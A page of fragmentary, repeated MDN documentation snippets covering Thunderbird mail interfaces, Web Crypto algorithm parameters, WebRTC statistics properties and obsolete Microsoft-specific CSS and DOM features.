...c7f)] interface nsimsgruleaction : nsisupports { attribute nsmsgruleactiontype type; // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; // target label. ...
...n exception if the action is not label attribute nsmsglabelvalue label; // junkscore throws an exception if the action type is not junkscore attribute long junkscore; attribute autf8string strvalue; // action id if type is custom attribute acstring customid; // custom action associated with customid // (which must be set prior to reading this attribute) readonly attribute nsimsgfiltercustomaction customaction; }; ...
nsIMsgWindowCommands
this could be as a result of clicking on a new mail alert, or by clicking a link to a newsgroup. void selectfolder( in acstring folderuri ); parameters folderuri the uri of the folder to select. ...
...this could be as a result of clicking on a new mail alert, or by clicking a link to a newsgroup. void selectfolder( in acstring folderuri ); parameters folderuri the uri of the folder to select. ...
... to a newsgroup. void selectfolder( in acstring folderuri ); parameters folderuri the uri of the folder to select. selectmessage() this method is called by the backend to change the displayed message. for instance, when deleting attachments, this causes the message to be redisplayed. void selectmessage( in acstring messageuri ); parameters messageuri the uri of the message to open. clearmsgpane() this method is called by the backend when it wants to clear the message pane, for instance if you select the group header . void clearmsgpane(); paramters none. ...
AesCtrParams - Web APIs
aes is a block cipher, meaning that it splits the message into blocks and encrypts it a block at a time. in ctr mode, every time a block of the message is encrypted, an extra block of data is mixed in. this extra block is called the "counter block". a given counter block value must never be used more than once with the same key: given a message n blocks long, a different counter block must be used for every block. ...
...ith the same key. a counter. this part of the block gets incremented each time a block is encrypted. essentially: the nonce should ensure that counter blocks are not reused from one message to the next, while the counter should ensure that counter blocks are not reused within a single message. note: see appendix b of the nist sp800-38a standard for more information. properties name a domstring. this should be set to aes-ctr. counter a buffersource — the initial value of the counter block. this must be 16 bytes long (the aes block size). the rightmost length bits of this block are used for the counter, and the rest is used for the nonce. for example, if length is set to 64, then the first half of counter is the nonce and the second half is used for the counter. length a numbe...
...must be true: n <= 2m. the nist sp800-38a standard, which defines ctr, suggests that the counter should occupy half of the counter block (see appendix b.2), so for aes it would be 64. examples see the examples for subtlecrypto.encrypt() and subtlecrypto.decrypt(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aesctrparams' in that specification. recommendation ...
AesGcmParams - Web APIs
this should be set to aes-gcm. iv a buffersource — the initialization vector. this must be unique for every encryption operation carried out with a given key. put another way: never reuse an iv with the same key. ...
...epresents the object that should be passed as the algorithm parameter into subtlecrypto.encrypt(), subtlecrypto.decrypt(), subtlecrypto.wrapkey(), or subtlecrypto.unwrapkey(), when using the aes-gcm algorithm. for details of how to supply appropriate values for this parameter, see the specification for aes-gcm: nist sp800-38d, in particular section 5.2.1.1 on input data. properties name a domstring. this should be set to aes-gcm. iv a buffersource — the initialization vector. this must be unique for every encryption operation carried out with a given key. put another way: never reuse an iv with the same key. the aes-gcm specification recommends that the iv should be 96 bits long, and typically contains bits from a random number generator. section 8.2 of the specification outlines m...
... recommendation ...
ConstrainDOMString - Web APIs
the constraindomstring dictionary is used to specify a constraint for a property whose value is a string. it allows you to specify one or more exact string values from which one must be the parameter's value, or a set of ideal values which should be used if possible. you can also specify a single string (or an array of strings) which the user agent will do its best to match once all more stringent constraints have been applied. properties the value of a constraindomstring can be any of the following: a single domstring an array of domstring objects an object with one or both of the following properties: exact either a single domstring which must be the value of the property, or an array of domstring objects one of which must be the property's value. if the property can't be set ...
...ng can be any of the following: a single domstring an array of domstring objects an object with one or both of the following properties: exact either a single domstring which must be the value of the property, or an array of domstring objects one of which must be the property's value. if the property can't be set to one of the listed values, matching will fail. ideal either a single domstring or an arrray of domstrings specifying ideal values for the property. if possible, one of the listed values will be used, but if it's not possible, the user agent will use the closest possible match. specifications specification status comment media capture and streamsthe definition of 'constraindomstring' in that specification. candidate recommendation initia...
...deal values for the property. if possible, one of the listed values will be used, but if it's not possible, the user agent will use the closest possible match. specifications specification status comment media capture and streamsthe definition of 'constraindomstring' in that specification. candidate recommendation initial definition technically, constraindomstring is actually based on an intermediary dictionary named constraindomstringparameters, which adds exact and ideal to domstring. however, for the sake of documentation clarity, the intermediate type (present only because of quirks in webidl syntax) is ignored here. ...
HTMLVideoElement.msHorizontalMirror - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. mshorizontalmirror is a read/write property which gets or sets whether a video element is flipped horizontally in the display. this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.mshorizontalmirror: boolean; value boolean value set to true flips the video playback horizontally. video perspective is flipped on a horizontal axis - this may be useful for playback of a webcam video, providing the user with better mirroring of their real behaviors...
...olean value set to true flips the video playback horizontally. video perspective is flipped on a horizontal axis - this may be useful for playback of a webcam video, providing the user with better mirroring of their real behaviors (ie. ...
...ing the user with better mirroring of their real behaviors (ie. when user moves left, their representation on-screen would move left as well). ...
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msislayoutoptimalforplayback is a read-only property which indicates whether the video can be rendered more efficiently. this proprietary property is specific to internet explorer and microsoft edge. ...
... sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. msislayoutoptimalforplayback is a read-only property which indicates whether the video can be rendered more efficiently. this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.msislayoutoptimalforplayback: domstring; value boolean value set to true indicates that video is being rendered optimally (better performance and using less battery power). if false, improvements can be made to optimize performance. for msislayoutoptimalforplayback to be true, avoid the following: video elements with cascading style sheets (css) outlines set. rendering a video element throug...
...red optimally (better performance and using less battery power). if false, improvements can be made to optimize performance. for msislayoutoptimalforplayback to be true, avoid the following: video elements with cascading style sheets (css) outlines set. rendering a video element through a canvas element. embedding video elements in a scalable vector graphics (svg). you can listen to the onmsvideooptimallayoutchanged event to be notified when the msislayoutoptimalforplayback property changes. *to enable stereo 3d playback, msislayoutoptimalforplayback must be true. see also htmlvideoelement microsoft api extensions ...
onMSVideoFormatChanged - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. onmsvideoformatchanged is an event which occurs when the video format changes. this proprietary property is specific to internet explorer and microsoft edge. ...
...ng the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. onmsvideoformatchanged is an event which occurs when the video format changes. this proprietary property is specific to internet explorer and microsoft edge. ...
...s between implementations and the behavior may change in the future. onmsvideoformatchanged is an event which occurs when the video format changes. this proprietary property is specific to internet explorer and microsoft edge. ...
onMSVideoFrameStepCompleted - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. onmsvideoframestepcompleted is an event which occurs when the video frame has been stepped forward or backward one frame. this proprietary property is specific to internet explorer and microsoft edge. ...
.... there may also be large incompatibilities between implementations and the behavior may change in the future. onmsvideoframestepcompleted is an event which occurs when the video frame has been stepped forward or backward one frame. this proprietary property is specific to internet explorer and microsoft edge. ...
...hange in the future. onmsvideoframestepcompleted is an event which occurs when the video frame has been stepped forward or backward one frame. this proprietary property is specific to internet explorer and microsoft edge. ...
MSGraphicsTrust - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msgraphicstrust() constructor returns an object that provides properties for info on protected video playback. this proprietary method is specific to internet explorer and microsoft edge. syntax var trustobject = media.msgraphicstruststatus; parameters constrictionactive a read-only property which returns true when protected media is forced to play in a lower resolution. status a read-only property which returns an enum with the driver status when playing protected content. inheritance ...
...ietary method is specific to internet explorer and microsoft edge. syntax var trustobject = media.msgraphicstruststatus; parameters constrictionactive a read-only property which returns true when protected media is forced to play in a lower resolution. status a read-only property which returns an enum with the driver status when playing protected content. ...
...edia.msgraphicstruststatus; parameters constrictionactive a read-only property which returns true when protected media is forced to play in a lower resolution. status a read-only property which returns an enum with the driver status when playing protected content. inheritance hierarchy the msgraphicstrust does not inherit from any class or interface. ...
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
this interval is computed following the formula outlined in rfc 1889: a.7. because the interval's value is determined in part by the number of active senders, it will be different for each user of a service. ...
...this interval is computed following the formula outlined in rfc 1889: a.7. because the interval's value is determined in part by the number of active senders, it will be different for each user of a service. ...
...the same time, the server won't be flooded with rtcp packets coming in all at once. the sending endpoint computes this value when sending compound rtcp packets, which must contain at least an rtcp rr or sr packet and an sdes packet with the cname item. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.averagertcpinterval' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
forward error correction uses an exclusive-or method to perform parity checks on the received data. ...
...forward error correction uses an exclusive-or method to perform parity checks on the received data. ...
...ved fec packet. this may also happen if the fec packet arrives outside the window of time in which the client will attempt to use it. if you wish to know how many of the received packets were discarded, you can examine the value of fecpacketsdiscarded. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.fecpacketsreceived' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.firCount - Web APIs
this statistic is available only for video tracks. the receiver sends a fir packet to the sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data. ...
...this statistic is available only for video tracks. the receiver sends a fir packet to the sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data. ...
... candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
these duplicate packets are not included in the packetsdiscarded property. usage notes duplicate packets are detected when a packet has the same rtp sequence number as another packet that has previously been processed. ...
...these duplicate packets are not included in the packetsdiscarded property. usage notes duplicate packets are detected when a packet has the same rtp sequence number as another packet that has previously been processed. ...
...received more than twice. you can get a more accurate tally of how many packets have been lost on the stream by adding packetsduplicated to packetslost. the resulting value will be positive, although it will not match the count as computed in rfc 3660. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.packetsduplicated' in that specification. candidate recommendation initial definition. ...
RTCInboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcinboundrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame sent or received to date on the video track corresponding to this rtcinboundrtpstreamstats object. in general, the higher this number is, the more heavily compressed the video data is. syntax var qpsum = rtcinboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcinboundrtpstreamstats object. since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more heavily compressed the stream generally has been. note: this value is only available for ...
...e data more compressible. the quantization process and the amount of compression can be controlled using one or more parameters. it's important to keep in mind that the value of qp can change periodically—even every frame—so it's difficult to know for certain how substantial the compression is. the best you can do is make an estimate. you can, for example, use the value of rtcreceivedrtpstreamstats.framesdecoded if receiving the media or rtcsentrtpstreamstats.framesencoded if sending it to get the number of frames handled so far, and compute an average from there. see calculating average quantization below for a function that does this. also, the exact meaning of the qp value depends on the codec being used. for example, for the vp8 codec, the qp value can be anywhere from 1 to 127 and...
... candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
this interval is computed following the formula outlined in rfc 1889: a.7. because the interval's value is determined in part by the number of active senders, it will be different for each user of a service. ...
...this interval is computed following the formula outlined in rfc 1889: a.7. because the interval's value is determined in part by the number of active senders, it will be different for each user of a service. ...
...he same time, the server won't be flooded with rtcp packets coming in all at once. the sending endpoint computes this value when sending compound rtcp packets, which must contain at least an rtcp rr or sr packet and an sdes packet with the cname item. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.averagertcpinterval' in that specification. candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.firCount - Web APIs
this statistic is available only for video tracks. ...
...this statistic is available only for video tracks. the receiver sends a fir packet to the sender any time it falls bahind or loses packets and cannot decode the incoming stream any longer because of the lost data. ...
... candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.pliCount - Web APIs
the plicount property of the rtcoutboundrtpstreamstats dictionary states the number of times the remote peer's rtcrtpreceiver sent a picture loss indication (pli) packet to the rtcrtpsender for which this object provides statistics. a pli packet indicates that some amount of encoded video data has been lost for one or more frames. syntax var plicount = rtcoutboundrtpstreamstats.plicount; value an integer value indicating the number of times a pli packet was sent to this sender by the remote peer's rtcrtpreceiver. these are sent by the receiver's decoder to notify the sender's encoder that an undefined amount of coded video data, which may span frame boundaries, has been lost. note: this property is only used for video streams. usage notes upon receiving a pli packet, the sender may...
...mount of coded video data, which may span frame boundaries, has been lost. note: this property is only used for video streams. usage notes upon receiving a pli packet, the sender may have responded by sending a full frame to the remote peer to allow it to re-synchronize with the media. however, the primary purpose of a pli packet is to allow the rtcrtpsender for which this rtcoutboundrtpstreamstats object provides statistics to consider techniques to mitigate network performance issues. this is often achieved by methods such as increasing the compression or lowering resolution, although the mechanisms available to reduce the bit rate of the stream vary from codec to codec. specifications specification status comment identifiers for webrtc's statistics apithe de...
...to consider techniques to mitigate network performance issues. this is often achieved by methods such as increasing the compression or lowering resolution, although the mechanisms available to reduce the bit rate of the stream vary from codec to codec. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.plicount' in that specification. candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcoutboundrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame this sender has produced to date on the video track corresponding to this rtcoutboundrtpstreamstats object. in general, the higher this number is, the more heavily compressed the video data is. syntax var qpsum = rtcoutboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent so far on the track described by the rtcoutboundrtpstreamstats object. since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more heavily compressed the stream generally has been. note: this value is only available for ...
...ata set, making the data more compressible. the quantization process and the amount of compression can be controlled using one or more parameters. it's important to keep in mind that the value of qp can change periodically—even every frame—so it's difficult to know for certain how substantial the compression is. the best you can do is make an estimate. you can use the value of rtcsentrtpstreamstats.framesencoded to get the number of frames that have been encoded so far, and compute an average from there. see calculating average quantization below for a function that does this. also, the exact meaning of the qp value depends on the codec being used. for example, for the vp8 codec, the qp value can be anywhere from 1 to 127 and is found in the frame header element "y_ac_qi", whose value ...
... candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.qualityLimitationReason - Web APIs
the qualitylimitationreason property of the rtcoutboundrtpstreamstats dictionary is a string indicating the reason why the media quality in the stream is currently being reduced by the codec during encoding, or none if no quality reduction is being performed. this quality reduction may include changes such as reduced frame rate or resolution, or an increase in compression factor. the amount of time the encoded media has had its quality reduced in each of the potential ways that can be done can be found in qualitylimitationdurations. ...
...encoding, or none if no quality reduction is being performed. this quality reduction may include changes such as reduced frame rate or resolution, or an increase in compression factor. the amount of time the encoded media has had its quality reduced in each of the potential ways that can be done can be found in qualitylimitationdurations. syntax var qualitylimitationreason = rtcoutboundrtpstreamstats.qualitylimitationreason; value a map whose keys are domstrings whose values come from the rtcqualitylimitationreason enumerated type, and whose values are the duration of the media, in seconds, whose quality was reduced for that reason. examples specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrt...
...ualitylimitationreason; value a map whose keys are domstrings whose values come from the rtcqualitylimitationreason enumerated type, and whose values are the duration of the media, in seconds, whose quality was reduced for that reason. examples specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.qualitylimitationreason' in that specification. candidate recommendation initial definition. ...
RTCOutboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcoutboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpsender received from the remote rtcrtpreceiver for the rtp stream described by this object. an sli packet is used by a decoder to let the encoder (the sender) know that it's detected corruption of one or more consecutive macroblocks, in scan order, in the received media.in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the sender and the receiver, causing the receiver to request retransmits or to drop frames entirely. ...
...r (the sender) know that it's detected corruption of one or more consecutive macroblocks, in scan order, in the received media.in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the sender and the receiver, causing the receiver to request retransmits or to drop frames entirely. syntax var slicount = rtcoutboundrtpstreamstats.slicount; value an unsigned integer indicating the number of sli packets the sender received from the receiver due to lost runs of macroblocks. a high value of slicount may be an indication of an unreliable network. this is a very technical part of how video codecs work. for details, see rfc 4585: 6.3.2. note: this value is only present for video media. specifications specifi...
...ver due to lost runs of macroblocks. a high value of slicount may be an indication of an unreliable network. this is a very technical part of how video codecs work. for details, see rfc 4585: 6.3.2. note: this value is only present for video media. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.slicount' in that specification. candidate recommendation initial definition. ...
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
this is different from the value timestamp, which gives the time at which the statistics were generated or received by the local peer. if this property is present, it comes from the rtcp sender report (sr) block, which reflects the clock on the remote peer at the time the message was sent. ...
...this is different from the value timestamp, which gives the time at which the statistics were generated or received by the local peer. if this property is present, it comes from the rtcp sender report (sr) block, which reflects the clock on the remote peer at the time the message was sent. ...
...cts the clock on the remote peer at the time the message was sent. keep in mind that this means the clock may not be synchronized with the local clock, and that both the current time and the pace at which the clock runs may differ to some extent. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcremoteoutboundrtpstreamstats.remotetimestamp' in that specification. candidate recommendation initial definition. ...
RTCRemoteOutboundRtpStreamStats - Web APIs
the webrtc statistics model's rtcremoteoutboundrtpstreamstats dictionary extends the underlying rtcsentrtpstreamstats dictionary with properties measuring metrics specific to outgoing rtp streams. properties in addition to the properties defined by rtcsentrtpstreamstats and its underlying rtcrtpstreamstats and rtcstats dictionaries, rtcremoteoutboundrtpstreamstats defines the following properties. localid a domstring which is used to find the local rtcinboundrtpstreamstats object which shares the same synchronization source (ssrc). remotetimestamp a domhighrestimestamp specifying the timestamp (on the remote device) at which the statistics in the rtcremoteoutboundrtpstreamstats object were sent by the remote endpoint. this is different from the timestamp found in the base rtcstats d...
...be aware that the remote clock may not be synchronized with the local clock (either in current time or speed at which time elapses). ...
... candidate recommendation initial definition. ...
RTCRtpStreamStats.pliCount - Web APIs
a pli message is used by video decoders (running on the receiving end of the stream) to notify the encoder (the sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost. ...
... a pli message is used by video decoders (running on the receiving end of the stream) to notify the encoder (the sender) that an undefined amount of coded video data, which may span frame boundaries, has been lost. ...
...k performance issues. this is often achieved by methods such as increasing the compression, lowering resolution, or finding other ways to reduce the bit rate of the stream. note: this value is only available on the receiver, and only for video media. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: plicount' in that specification. candidate recommendation initial definition. identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: plicount' in that specification. candidate recommendation initial definition. ...
RTCRtpStreamStats.sliCount - Web APIs
a high value of slicount may be an indication of an unreliable network. for technical details, see rfc 4585: 6.3.2. note: this value is sent by the sender to the receiver and is only present for video media. ...
...a high value of slicount may be an indication of an unreliable network. for technical details, see rfc 4585: 6.3.2. note: this value is sent by the sender to the receiver and is only present for video media. ...
...receiver due to lost runs of macroblocks. a high value of slicount may be an indication of an unreliable network. for technical details, see rfc 4585: 6.3.2. note: this value is sent by the sender to the receiver and is only present for video media. specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: slicount' in that specification. candidate recommendation initial definition. identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats: slicount' in that specification. candidate recommendation initial definition. ...
RsaHashedKeyGenParams - Web APIs
this should be set to rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep, depending on the algorithm you want to use. moduluslength a number. the length in bits of the rsa modulus. this should be at least 2048: see for example see nist sp 800-131a rev. 1. some organizations are now recommending that it should be 4096. publicexponent a uint8array. the public exponent. ...
...n the algorithm you want to use. moduluslength a number. the length in bits of the rsa modulus. this should be at least 2048: see for example see nist sp 800-131a rev. 1. some organizations are now recommending that it should be 4096. publicexponent a uint8array. the public exponent. unless you have a good reason to use something else, specify 65537 here ([0x01, 0x00, 0x01]). hash a domstring representing the name of the digest function to use. you can pass any of sha-256, sha-384, or sha-512 here. warning: although you can technically pass sha-1 as a value here, this is strongly discouraged as sha-1 is considered vulnerable. examples see the examples for subtlecrypto.generatekey(). specifications specification status comment web cryptography ...
...use. you can pass any of sha-256, sha-384, or sha-512 here. warning: although you can technically pass sha-1 as a value here, this is strongly discouraged as sha-1 is considered vulnerable. examples see the examples for subtlecrypto.generatekey(). specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedkeygenparams' in that specification. recommendation ...
URLSearchParams.toString() - Web APIs
the tostring() method of the urlsearchparams interface returns a query string suitable for use in a url. note: this method returns the query string without the question mark. this is different from window.location.search, which includes it. note: this feature is available in web workers. syntax urlsearchparams.tostring() parameters none. return value a domstring, without the question mark. (returns an empty string if no search parameters have been set.) examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter. ...
... which includes it. note: this feature is available in web workers. syntax urlsearchparams.tostring() parameters none. return value a domstring, without the question mark. (returns an empty string if no search parameters have been set.) examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter. ...
...ure is available in web workers. syntax urlsearchparams.tostring() parameters none. return value a domstring, without the question mark. (returns an empty string if no search parameters have been set.) examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter. params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let url = new url('https://example.com?foo=1&bar=2'); let params = url.searchparams; // or even simpler let params = new urlsearchparams('foo=1&bar=2'); specifications specification status comment urlthe definition of 'tostring() (see "stringifier")' in that specification. li...
WebGL2RenderingContext.getActiveUniforms() - Web APIs
the webgl2renderingcontext.getactiveuniforms() method of the webgl 2 api retrieves information about active uniforms within a webglprogram. syntax any gl.getactiveuniforms(program, uniformindices, pname); parameters program a webglprogram containing the active uniforms. uniformindices an array of gluint specifying the indices of the active uniforms to query. pname a glenum specifying which information to query. possible values: gl.uniform_type: returns an array of glenum indicating the types of the uniforms. gl.uniform_size: returns an array of gluint indicating the sizes of the uniforms. gl.uniform_block_index: returns an array of glint indicating the block indices of the uniforms. gl.uniform_offset: returns an array of glint indicating the uniform buffer off...
...: returns an array of glint indicating the uniform buffer offsets. gl.uniform_array_stride: returns an array of glint indicating the strides between the elements. gl.uniform_matrix_stride: returns an array of glint indicating the strides between columns of a column-major matrix or a row-major matrix. ...
...f a column-major matrix or a row-major matrix. gl.uniform_is_row_major: returns an array of glboolean indicating whether each of the uniforms is a row-major matrix or not. return value depends on which information is requested using the pname parameter. examples var uniformindices = gl.getuniformindices(program, ['ubored', 'ubogreen', 'uboblue']); var uniformoffsets = gl.getactiveuniforms(program, uniformindices, gl.uniform_offset); specifications specification status comment webgl 2.0the definition of 'getactiveuniforms' in that specification. editor's draft initial definition for webgl. opengl es 3.0the definition of 'glgetactiveuniformsiv' in that specification. standard man page of the (similar) opengl api. ...
msCachingEnabled - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mscachingenabled method gets the current caching state for an xmlhttprequest. this proprietary method is specific to internet explorer and microsoft edge. ...
... not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mscachingenabled method gets the current caching state for an xmlhttprequest. this proprietary method is specific to internet explorer and microsoft edge. syntax var cachestate = xmlhttprequest.mscachingenabled(); parameters cachestate[out, retval] type = boolean. if true, xmlhttprequest is cached to disk. ...
...this proprietary method is specific to internet explorer and microsoft edge. syntax var cachestate = xmlhttprequest.mscachingenabled(); parameters cachestate[out, retval] type = boolean. if true, xmlhttprequest is cached to disk. if false, it is not written to disk. return value type: boolean. ...
DOMSubtreeModified - Archive of obsolete content
example the following code will display the time of last dom change on the title bar of the page. ...
...vent has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is changed via cssom for example). document.body.addeventlistener('domsubtreemodified', function () { document.title = 'dom changed at ' + new date(); }, false); ...
removeAllItems - Archive of obsolete content
...
... ...
removeItemFromSelection - Archive of obsolete content
...
... ...
-ms-content-zoom-chaining - Archive of obsolete content
the -ms-content-zoom-chaining css property is a microsoft extension specifying the zoom behavior that occurs when a user hits the zoom limit during page manipulation. initial valuenoneapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none the initial value. a bounce effect is shown when the user hits a zoom limit during page manipulation. chained the nearest zoomable parent element begins zooming when the user hits a zoom limit during page manipulation. no bounce effect is shown. formal syntax none | chained specifications not part of any specification. remarks this property has no effect on non-zoomable elements. ...
...shown when the user hits a zoom limit during page manipulation. chained the nearest zoomable parent element begins zooming when the user hits a zoom limit during page manipulation. no bounce effect is shown. formal syntax none | chained specifications not part of any specification. remarks this property has no effect on non-zoomable elements. for information on zoomable elements, see -ms-content-zooming. starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-content-zoom-limit-max - Archive of obsolete content
the -ms-content-zoom-limit-max css property is a microsoft extension that specifies the selected elements' maximum zoom factor. initial value400%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesthe largest allowed zoom factor. a zoom factor of 100% corresponds to no zooming. larger values zoom in. smaller values zoom out.computed valueas specifiedanimation typediscrete syntax values <percentage> the maximum zoom factor. formal syntax <percentage> specifications not part of any specification. remarks this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property. this property has no effect on non-zoomable elements. ...
...om in. smaller values zoom out.computed valueas specifiedanimation typediscrete syntax values <percentage> the maximum zoom factor. formal syntax <percentage> specifications not part of any specification. remarks this property constrains the limit for touch zooming as well as values of the mscontentzoomfactor property. this property has no effect on non-zoomable elements. see -ms-content-zooming for details on zoomable elements. starting with windows 8.1, this property is also supported for touchpad interaction. this property requires windows 8 or later. ...
-ms-content-zoom-snap-type - Archive of obsolete content
initial valuenoneapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values none initial value. indicates that zooming is unaffected by any defined snap-points. after the contact is picked up, the content will continue to move with inertia. proximity indicates that the motion of the content after the contact is picked up may be adjusted if the content would normally stop "close enough" to a snap-point. this implies that it is possible for the content zoom factor to end up between snap-points. ...
...tes that the motion of the content after the contact is picked up is always adjusted so that it lands on a snap-point. the snap-point that is selected is the one that is closest to where the content zoom factor would normally stop. formal syntax none | proximity | mandatory specifications not part of any specification. remarks this property has no effect on non-zoomable elements. see -ms-content-zooming for details on zoomable elements. when a user pans or scrolls and then lifts his or her contact (for instance, a finger), the content can continue to move with inertia. snap-points can change the animation that runs when the user lifts his or her finger so that you can adjust where the content will stop. by placing snap-points, you can make it easy for your users to manipulate yo...
-ms-hyphenate-limit-zone - Archive of obsolete content
initial value0applies toblock container elementsinheritedyespercentagescalculated with respect to the width of the line boxcomputed valueas specifiedanimation typediscrete syntax values <percentage> an integer followed by a percent sign (%), which specifies the width of the hyphenation zone, calculated with respect to the line box. negative values are not allowed. <length> a floating-point number, followed by a relative units designator, that indicates the width of the hyphenation zone. for more information about supported length units, see css basic data types. negative values are not allowed. ...
...he line box. negative values are not allowed. <length> a floating-point number, followed by a relative units designator, that indicates the width of the hyphenation zone. for more information about supported length units, see css basic data types. negative values are not allowed. formal syntax <percentage> | <length> specifications not part of any specification. remarks the -ms-hyphenate-limit-zone property enables you to control the amount of trailing whitespace permitted during hyphenation. the hyphenation zone is always at the logical right side of the padding box. a word is considered for hyphenation only if it begins at or outside of the logical left limit of the hyphenation zone. ...
-ms-scroll-limit-x-min - Archive of obsolete content
this property requires windows 8 or later. ...
...ents and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values <length> the minimum value for the scrollleft property. if the value is negative, then 0 is used. formal syntax <length> specifications not part of any specification. remarks this property has no effect on non-scrollable elements. the specified behavior of the -ms-scroll-limit-x-min property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors. this property requires windows 8 or later. ...
-ms-scroll-limit-y-min - Archive of obsolete content
this property requires windows 8 or later. ...
...ments and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete syntax values <length> the minimum value for the scrolltop property. if the value is negative, then 0 is used. formal syntax <length> specifications not part of any specification. remarks this property has no effect on non-scrollable elements. the specified behavior of the -ms-scroll-limit-y-min property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors. this property requires windows 8 or later. ...
-ms-scroll-translation - Archive of obsolete content
initial valuenoneapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values vertical-to-horizontal vertical to horizontal translation, as described in remarks, will take place when appropriate. none no scroll wheel translation takes place. inherit the initial value. the value is inherited from the element's parent element. formal syntax none | vertical-to-horizontal specifications not part of any specification. remarks this property requires windows 8 or later. this property has no effect on non-scrollable elements. ...
